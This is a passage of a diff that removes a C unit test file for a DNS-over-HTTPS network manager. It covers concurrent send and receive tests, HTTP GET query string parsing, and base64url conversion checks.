-			   atomic_load(&POST), doh_connect_send_two_requests_cb,
-			   NULL, ctx, 5000, 0);
-
-	while (atomic_load(&nsends) > 0) {
-		if (atomic_load(&was_error)) {
-			break;
-		}
-		isc_thread_yield();
-	}
-
-	while (atomic_load(&ssends) != 2 || atomic_load(&sreads) != 2 ||
-	       atomic_load(&csends) != 2)
-	{
-		if (atomic_load(&was_error)) {
-			break;
-		}
-		isc_thread_yield();
-	}
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(total_sends);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	assert_int_equal(atomic_load(&csends), 2);
-	assert_int_equal(atomic_load(&creads), 2);
-	assert_int_equal(atomic_load(&sreads), 2);
-	assert_int_equal(atomic_load(&ssends), 2);
-}
-
-static void
-doh_recv_two_POST(void **state) {
-	atomic_store(&POST, true);
-	doh_recv_two(state);
-}
-
-static void
-doh_recv_two_GET(void **state) {
-	atomic_store(&POST, false);
-	doh_recv_two(state);
-}
-
-static void
-doh_recv_two_POST_TLS(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, true);
-	doh_recv_two(state);
-}
-
-static void
-doh_recv_two_GET_TLS(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, false);
-	doh_recv_two(state);
-}
-
-static void
-doh_recv_two_POST_quota(void **state) {
-	atomic_store(&POST, true);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_two(state);
-}
-
-static void
-doh_recv_two_GET_quota(void **state) {
-	atomic_store(&POST, false);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_two(state);
-}
-
-static void
-doh_recv_two_POST_TLS_quota(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, true);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_two(state);
-}
-
-static void
-doh_recv_two_GET_TLS_quota(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, false);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_two(state);
-}
-
-static void
-doh_recv_send(void **state) {
-	isc_nm_t **nm = (isc_nm_t **)*state;
-	isc_nm_t *listen_nm = nm[0];
-	isc_nm_t *connect_nm = nm[1];
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	size_t nthreads = ISC_MAX(ISC_MIN(workers, 32), 1);
-	isc_thread_t threads[32] = { 0 };
-	isc_quota_t *quotap = init_listener_quota(workers);
-
-	result = isc_nm_listenhttp(listen_nm, &tcp_listen_addr, 0, quotap,
-				   atomic_load(&use_TLS) ? server_tlsctx : NULL,
-				   &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_nm_http_endpoint(listen_sock, DOH_PATH,
-				      doh_receive_request_cb, NULL, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	for (size_t i = 0; i < nthreads; i++) {
-		isc_thread_create(doh_connect_thread, connect_nm, &threads[i]);
-	}
-
-	for (size_t i = 0; i < nthreads; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	isc__netmgr_shutdown(connect_nm);
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	X(total_sends);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_FULL(csends);
-	CHECK_RANGE_FULL(creads);
-	CHECK_RANGE_FULL(sreads);
-	CHECK_RANGE_FULL(ssends);
-}
-
-static void
-doh_recv_send_POST(void **state) {
-	atomic_store(&POST, true);
-	doh_recv_send(state);
-}
-
-static void
-doh_recv_send_GET(void **state) {
-	atomic_store(&POST, false);
-	doh_recv_send(state);
-}
-
-static void
-doh_recv_send_POST_TLS(void **state) {
-	atomic_store(&POST, true);
-	atomic_store(&use_TLS, true);
-	doh_recv_send(state);
-}
-
-static void
-doh_recv_send_GET_TLS(void **state) {
-	atomic_store(&POST, false);
-	atomic_store(&use_TLS, true);
-	doh_recv_send(state);
-}
-
-static void
-doh_recv_send_POST_quota(void **state) {
-	atomic_store(&POST, true);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_send(state);
-}
-
-static void
-doh_recv_send_GET_quota(void **state) {
-	atomic_store(&POST, false);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_send(state);
-}
-
-static void
-doh_recv_send_POST_TLS_quota(void **state) {
-	atomic_store(&POST, true);
-	atomic_store(&use_TLS, true);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_send(state);
-}
-
-static void
-doh_recv_send_GET_TLS_quota(void **state) {
-	atomic_store(&POST, false);
-	atomic_store(&use_TLS, true);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_send(state);
-}
-
-static void
-doh_recv_half_send(void **state) {
-	isc_nm_t **nm = (isc_nm_t **)*state;
-	isc_nm_t *listen_nm = nm[0];
-	isc_nm_t *connect_nm = nm[1];
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	size_t nthreads = ISC_MAX(ISC_MIN(workers, 32), 1);
-	isc_thread_t threads[32] = { 0 };
-	isc_quota_t *quotap = init_listener_quota(workers);
-
-	atomic_store(&total_sends, atomic_load(&total_sends) / 2);
-
-	atomic_store(&nsends, atomic_load(&total_sends));
-	result = isc_nm_listenhttp(listen_nm, &tcp_listen_addr, 0, quotap,
-				   atomic_load(&use_TLS) ? server_tlsctx : NULL,
-				   &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_nm_http_endpoint(listen_sock, DOH_PATH,
-				      doh_receive_request_cb, NULL, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	for (size_t i = 0; i < nthreads; i++) {
-		isc_thread_create(doh_connect_thread, connect_nm, &threads[i]);
-	}
-
-	while (atomic_load(&nsends) > 0) {
-		isc_thread_yield();
-	}
-
-	isc__netmgr_shutdown(connect_nm);
-
-	for (size_t i = 0; i < nthreads; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	X(total_sends);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-static void
-doh_recv_half_send_POST(void **state) {
-	atomic_store(&POST, true);
-	doh_recv_half_send(state);
-}
-
-static void
-doh_recv_half_send_GET(void **state) {
-	atomic_store(&POST, false);
-	doh_recv_half_send(state);
-}
-
-static void
-doh_recv_half_send_POST_TLS(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, true);
-	doh_recv_half_send(state);
-}
-
-static void
-doh_recv_half_send_GET_TLS(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, false);
-	doh_recv_half_send(state);
-}
-
-static void
-doh_recv_half_send_POST_quota(void **state) {
-	atomic_store(&POST, true);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_half_send(state);
-}
-
-static void
-doh_recv_half_send_GET_quota(void **state) {
-	atomic_store(&POST, false);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_half_send(state);
-}
-
-static void
-doh_recv_half_send_POST_TLS_quota(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, true);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_half_send(state);
-}
-
-static void
-doh_recv_half_send_GET_TLS_quota(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, false);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_half_send(state);
-}
-
-static void
-doh_half_recv_send(void **state) {
-	isc_nm_t **nm = (isc_nm_t **)*state;
-	isc_nm_t *listen_nm = nm[0];
-	isc_nm_t *connect_nm = nm[1];
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	size_t nthreads = ISC_MAX(ISC_MIN(workers, 32), 1);
-	isc_thread_t threads[32] = { 0 };
-	isc_quota_t *quotap = init_listener_quota(workers);
-
-	atomic_store(&total_sends, atomic_load(&total_sends) / 2);
-
-	atomic_store(&nsends, atomic_load(&total_sends));
-	result = isc_nm_listenhttp(listen_nm, &tcp_listen_addr, 0, quotap,
-				   atomic_load(&use_TLS) ? server_tlsctx : NULL,
-				   &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_nm_http_endpoint(listen_sock, DOH_PATH,
-				      doh_receive_request_cb, NULL, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	for (size_t i = 0; i < nthreads; i++) {
-		isc_thread_create(doh_connect_thread, connect_nm, &threads[i]);
-	}
-
-	while (atomic_load(&nsends) > 0) {
-		isc_thread_yield();
-	}
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	for (size_t i = 0; i < nthreads; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	isc__netmgr_shutdown(connect_nm);
-
-	X(total_sends);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-static void
-doh_half_recv_send_POST(void **state) {
-	atomic_store(&POST, true);
-	doh_half_recv_send(state);
-}
-
-static void
-doh_half_recv_send_GET(void **state) {
-	atomic_store(&POST, false);
-	doh_half_recv_send(state);
-}
-
-static void
-doh_half_recv_send_POST_TLS(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, true);
-	doh_half_recv_send(state);
-}
-
-static void
-doh_half_recv_send_GET_TLS(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, false);
-	doh_half_recv_send(state);
-}
-
-static void
-doh_half_recv_send_POST_quota(void **state) {
-	atomic_store(&POST, true);
-	atomic_store(&check_listener_quota, true);
-	doh_half_recv_send(state);
-}
-
-static void
-doh_half_recv_send_GET_quota(void **state) {
-	atomic_store(&POST, false);
-	atomic_store(&check_listener_quota, true);
-	doh_half_recv_send(state);
-}
-
-static void
-doh_half_recv_send_POST_TLS_quota(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, true);
-	atomic_store(&check_listener_quota, true);
-	doh_half_recv_send(state);
-}
-
-static void
-doh_half_recv_send_GET_TLS_quota(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, false);
-	atomic_store(&check_listener_quota, true);
-	doh_half_recv_send(state);
-}
-
-static void
-doh_half_recv_half_send(void **state) {
-	isc_nm_t **nm = (isc_nm_t **)*state;
-	isc_nm_t *listen_nm = nm[0];
-	isc_nm_t *connect_nm = nm[1];
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	size_t nthreads = ISC_MAX(ISC_MIN(workers, 32), 1);
-	isc_thread_t threads[32] = { 0 };
-	isc_quota_t *quotap = init_listener_quota(workers);
-
-	atomic_store(&total_sends, atomic_load(&total_sends) / 2);
-
-	atomic_store(&nsends, atomic_load(&total_sends));
-	result = isc_nm_listenhttp(listen_nm, &tcp_listen_addr, 0, quotap,
-				   atomic_load(&use_TLS) ? server_tlsctx : NULL,
-				   &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_nm_http_endpoint(listen_sock, DOH_PATH,
-				      doh_receive_request_cb, NULL, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	for (size_t i = 0; i < nthreads; i++) {
-		isc_thread_create(doh_connect_thread, connect_nm, &threads[i]);
-	}
-
-	while (atomic_load(&nsends) > 0) {
-		isc_thread_yield();
-	}
-
-	isc__netmgr_shutdown(connect_nm);
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	for (size_t i = 0; i < nthreads; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	X(total_sends);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-static void
-doh_half_recv_half_send_POST(void **state) {
-	atomic_store(&POST, true);
-	doh_half_recv_half_send(state);
-}
-
-static void
-doh_half_recv_half_send_GET(void **state) {
-	atomic_store(&POST, false);
-	doh_half_recv_half_send(state);
-}
-
-static void
-doh_half_recv_half_send_POST_TLS(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, true);
-	doh_half_recv_half_send(state);
-}
-
-static void
-doh_half_recv_half_send_GET_TLS(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, false);
-	doh_half_recv_half_send(state);
-}
-
-static void
-doh_half_recv_half_send_POST_quota(void **state) {
-	atomic_store(&POST, true);
-	atomic_store(&check_listener_quota, true);
-	doh_half_recv_half_send(state);
-}
-
-static void
-doh_half_recv_half_send_GET_quota(void **state) {
-	atomic_store(&POST, false);
-	atomic_store(&check_listener_quota, true);
-	doh_half_recv_half_send(state);
-}
-
-static void
-doh_half_recv_half_send_POST_TLS_quota(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, true);
-	atomic_store(&check_listener_quota, true);
-	doh_half_recv_half_send(state);
-}
-
-static void
-doh_half_recv_half_send_GET_TLS_quota(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, false);
-	atomic_store(&check_listener_quota, true);
-	doh_half_recv_half_send(state);
-}
-
-static void
-doh_parse_GET_query_string(void **state) {
-	UNUSED(state);
-	/* valid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] =
-			"dns=AAABAAABAAAAAAAAAWE-"
-			"NjJjaGFyYWN0ZXJsYWJlbC1tYWtlcy1iYXNlNjR1cmwtZGlzdGluY3"
-			"QtZnJvbS1zdGFuZGFyZC1iYXNlNjQHZXhhbXBsZQNjb20AAAEAAQ";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_true(ret);
-		assert_non_null(queryp);
-		assert_true(len > 0);
-		assert_true(len == strlen(str) - 4);
-		assert_true(memcmp(queryp, str + 4, len) == 0);
-	}
-	/* valid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] =
-			"?dns=AAABAAABAAAAAAAAAWE-"
-			"NjJjaGFyYWN0ZXJsYWJlbC1tYWtlcy1iYXNlNjR1cmwtZGlzdGluY3"
-			"QtZnJvbS1zdGFuZGFyZC1iYXNlNjQHZXhhbXBsZQNjb20AAAEAAQ&";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_true(ret);
-		assert_non_null(queryp);
-		assert_true(len > 0);
-		assert_true(len == strlen(str) - 6);
-		assert_true(memcmp(queryp, str + 5, len) == 0);
-	}
-	/* valid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "?dns=123&dns=567";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_true(ret);
-		assert_non_null(queryp);
-		assert_true(len > 0);
-		assert_true(len == 3);
-		assert_true(memcmp(queryp, "567", 3) == 0);
-	}
-	/* valid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "?name1=123&dns=567&name2=123&";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_true(ret);
-		assert_non_null(queryp);
-		assert_true(len > 0);
-		assert_true(len == 3);
-		assert_true(memcmp(queryp, "567", 3) == 0);
-	}
-	/* complex, but still valid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] =
-			"?title=%D0%92%D1%96%D0%B4%D1%81%D0%BE%D1%82%D0%BA%D0%"
-			"BE%D0%B2%D0%B5_%D0%BA%D0%BE%D0%B4%D1%83%D0%B2%D0%B0%"
-			"D0%BD%D0%BD%D1%8F&dns=123&veaction=edit&section=0";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_true(ret);
-		assert_non_null(queryp);
-		assert_true(len > 0);
-		assert_true(len == 3);
-		assert_true(memcmp(queryp, "123", 3) == 0);
-	}
-	/* invalid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] =
-			"?title=%D0%92%D1%96%D0%B4%D1%81%D0%BE%D1%82%D0%BA%D0%"
-			"BE%D0%B2%D0%B5_%D0%BA%D0%BE%D0%B4%D1%83%D0%B2%D0%B0%"
-			"D0%BD%D0%BD%D1%8F&veaction=edit&section=0";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_false(ret);
-		assert_null(queryp);
-		assert_true(len == 0);
-	}
-	/* invalid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_false(ret);
-		assert_null(queryp);
-		assert_true(len == 0);
-	}
-	/* invalid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "?&";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_false(ret);
-		assert_null(queryp);
-		assert_true(len == 0);
-	}
-	/* invalid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "?dns&";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_false(ret);
-		assert_null(queryp);
-		assert_true(len == 0);
-	}
-	/* invalid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "?dns=&";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_false(ret);
-		assert_null(queryp);
-		assert_true(len == 0);
-	}
-	/* invalid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "?dns=123&&";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_false(ret);
-		assert_null(queryp);
-		assert_true(len == 0);
-	}
-	/* valid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "?dns=123%12&";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_true(ret);
-		assert_non_null(queryp);
-		assert_true(len > 0);
-		assert_true(len == 6);
-		assert_true(memcmp(queryp, "123%12", 6) == 0);
-	}
-	/* invalid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "?dns=123%ZZ&";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_false(ret);
-		assert_null(queryp);
-		assert_true(len == 0);
-	}
-	/* invalid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "?dns=123%%&";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_false(ret);
-		assert_null(queryp);
-		assert_true(len == 0);
-	}
-	/* invalid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "?dns=123%AZ&";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_false(ret);
-		assert_null(queryp);
-		assert_true(len == 0);
-	}
-	/* valid */
-	{
-		bool ret;
-		const char *queryp = NULL;
-		size_t len = 0;
-		char str[] = "?dns=123%0AZ&";
-
-		ret = isc__nm_parse_httpquery(str, &queryp, &len);
-		assert_true(ret);
-		assert_non_null(queryp);
-		assert_true(len > 0);
-		assert_true(len == 7);
-		assert_true(memcmp(queryp, "123%0AZ", 7) == 0);
-	}
-}
-
-static void
-doh_base64url_to_base64(void **state) {
-	UNUSED(state);
-	char *res;
-	size_t res_len = 0;
-	/* valid */
-	{
-		char test[] = "YW55IGNhcm5hbCBwbGVhc3VyZS4";
-		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3VyZS4=";
-
-		res = isc__nm_base64url_to_base64(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char test[] = "YW55IGNhcm5hbCBwbGVhcw";
-		char res_test[] = "YW55IGNhcm5hbCBwbGVhcw==";
-
-		res = isc__nm_base64url_to_base64(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char test[] = "YW55IGNhcm5hbCBwbGVhc3Vy";
-		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3Vy";
-
-		res = isc__nm_base64url_to_base64(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char test[] = "YW55IGNhcm5hbCBwbGVhc3U";
-		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3U=";
-
-		res = isc__nm_base64url_to_base64(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char test[] = "YW55IGNhcm5hbCBwbGVhcw";
-		char res_test[] = "YW55IGNhcm5hbCBwbGVhcw==";
-
-		res = isc__nm_base64url_to_base64(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char test[] = "PDw_Pz8-Pg";
-		char res_test[] = "PDw/Pz8+Pg==";
-
-		res = isc__nm_base64url_to_base64(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char test[] = "PDw_Pz8-Pg";
-		char res_test[] = "PDw/Pz8+Pg==";
-
-		res = isc__nm_base64url_to_base64(test_mctx, test, strlen(test),
-						  NULL);
-		assert_non_null(res);
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* invalid */
-	{
-		char test[] = "YW55IGNhcm5hbCBwbGVhcw";
-		res_len = 0;
-
-		res = isc__nm_base64url_to_base64(test_mctx, test, 0, &res_len);
-		assert_null(res);
-		assert_true(res_len == 0);
-	}
-	/* invalid */
-	{
-		char test[] = "";
-		res_len = 0;
-
-		res = isc__nm_base64url_to_base64(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_null(res);
-		assert_true(res_len == 0);
-	}
-	/* invalid */
-	{
-		char test[] = "PDw_Pz8-Pg==";
-		res_len = 0;
-
-		res = isc__nm_base64url_to_base64(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_null(res);
-		assert_true(res_len == 0);
-	}
-	/* invalid */
-	{
-		char test[] = "PDw_Pz8-Pg%3D%3D"; /* percent encoded "==" at the
-						     end */
-		res_len = 0;
-
-		res = isc__nm_base64url_to_base64(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_null(res);
-		assert_true(res_len == 0);
-	}
-	/* invalid */
-	{
-		res_len = 0;
-
-		res = isc__nm_base64url_to_base64(test_mctx, NULL, 31231,
-						  &res_len);
-		assert_null(res);
-		assert_true(res_len == 0);
-	}
-}
-
-static void
-doh_base64_to_base64url(void **state) {
-	char *res;
-	size_t res_len = 0;
-	UNUSED(state);
-	/* valid */
-	{
-		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3VyZS4";
-		char test[] = "YW55IGNhcm5hbCBwbGVhc3VyZS4=";
-
-		res = isc__nm_base64_to_base64url(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char res_test[] = "YW55IGNhcm5hbCBwbGVhcw";
-		char test[] = "YW55IGNhcm5hbCBwbGVhcw==";
-
-		res = isc__nm_base64_to_base64url(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3Vy";
-		char test[] = "YW55IGNhcm5hbCBwbGVhc3Vy";
-
-		res = isc__nm_base64_to_base64url(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3U";
-		char test[] = "YW55IGNhcm5hbCBwbGVhc3U=";
-
-		res = isc__nm_base64_to_base64url(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char res_test[] = "YW55IGNhcm5hbCBwbGVhcw";
-		char test[] = "YW55IGNhcm5hbCBwbGVhcw==";
-
-		res = isc__nm_base64_to_base64url(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char res_test[] = "PDw_Pz8-Pg";
-		char test[] = "PDw/Pz8+Pg==";
-
-		res = isc__nm_base64_to_base64url(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_non_null(res);
-		assert_true(res_len == strlen(res_test));
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* valid */
-	{
-		char res_test[] = "PDw_Pz8-Pg";
-		char test[] = "PDw/Pz8+Pg==";
-
-		res = isc__nm_base64_to_base64url(test_mctx, test, strlen(test),
-						  NULL);
-		assert_non_null(res);
-		assert_true(strcmp(res, res_test) == 0);
-		isc_mem_free(test_mctx, res);
-	}
-	/* invalid */
-	{
-		char test[] = "YW55IGNhcm5hbCBwbGVhcw";
-		res_len = 0;
-
-		res = isc__nm_base64_to_base64url(test_mctx, test, 0, &res_len);
-		assert_null(res);
-		assert_true(res_len == 0);
-	}
-	/* invalid */
-	{
-		char test[] = "";
-		res_len = 0;
-
-		res = isc__nm_base64_to_base64url(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_null(res);
-		assert_true(res_len == 0);
-	}
-	/* invalid */
-	{
-		char test[] = "PDw_Pz8-Pg==";
-		res_len = 0;
-
-		res = isc__nm_base64_to_base64url(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_null(res);
-		assert_true(res_len == 0);
-	}
-	/* invalid */
-	{
-		char test[] = "PDw_Pz8-Pg%3D%3D"; /* percent encoded "==" at the
-						     end */
-		res_len = 0;
-
-		res = isc__nm_base64_to_base64url(test_mctx, test, strlen(test),
-						  &res_len);
-		assert_null(res);
-		assert_true(res_len == 0);
-	}
-	/* invalid */
-	{
-		res_len = 0;
-
-		res = isc__nm_base64_to_base64url(test_mctx, NULL, 31231,
-						  &res_len);
-		assert_null(res);
-		assert_true(res_len == 0);
-	}
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests_short[] = {
-		cmocka_unit_test_setup_teardown(mock_doh_uv_tcp_bind, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_parse_GET_query_string,
-						NULL, NULL),
-		cmocka_unit_test_setup_teardown(doh_base64url_to_base64, NULL,
-						NULL),
-		cmocka_unit_test_setup_teardown(doh_base64_to_base64url, NULL,
-						NULL),
-		cmocka_unit_test_setup_teardown(doh_noop_POST, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_noop_GET, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_noresponse_POST, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_noresponse_GET, nm_setup,
-						nm_teardown),
-	};
-
-	const struct CMUnitTest tests_long[] = {
-		cmocka_unit_test_setup_teardown(mock_doh_uv_tcp_bind, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_parse_GET_query_string,
-						NULL, NULL),
-		cmocka_unit_test_setup_teardown(doh_base64url_to_base64, NULL,
-						NULL),
-		cmocka_unit_test_setup_teardown(doh_base64_to_base64url, NULL,
-						NULL),
-		cmocka_unit_test_setup_teardown(doh_noop_POST, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_noop_GET, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_noresponse_POST, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_noresponse_GET, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_timeout_recovery_POST,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_timeout_recovery_GET,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_one_POST, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(doh_recv_one_GET, nm_setup,
